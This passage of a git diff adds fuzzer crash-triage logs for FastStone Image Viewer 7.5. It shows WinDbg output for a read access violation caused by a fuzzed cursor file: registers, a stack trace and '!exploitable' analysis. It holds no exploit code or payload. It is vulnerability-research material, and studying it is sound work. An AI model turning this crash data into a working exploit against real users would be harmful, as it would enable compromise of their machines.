+BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21803/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21803/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..6f104df --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21803/WindowsDebugEngine_description.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1884: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1884: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1884.1ee0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=003fed2d ecx=07f07b10 edx=00003879 esi=ff230010 edi=07d30fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.749491301075272800000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 2.310187100000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-4.97656e+036 -4.60468e-010 -1.75634e+033 3.23334e+022 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fe8130 07f65930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00319000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00319000 22da5f0c 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a6 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00319000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21803/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21803/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..7c4f337 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21803/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23060/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23060/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23060/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23060/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23060/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4781cd8 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23060/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23060/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23060/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..7d50f7a --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23060/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xFA8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xFA8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(fa8.96c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07e37b10 edx=00003879 esi=ffdd0010 edi=0fd2afd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.712899554094367840000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=5.00838e+030 7.40799e-010 1.06976e-022 -1.2203e-020 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f18130 07e95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002f2000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002f2000 f6604c80 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6295 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002f2000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] 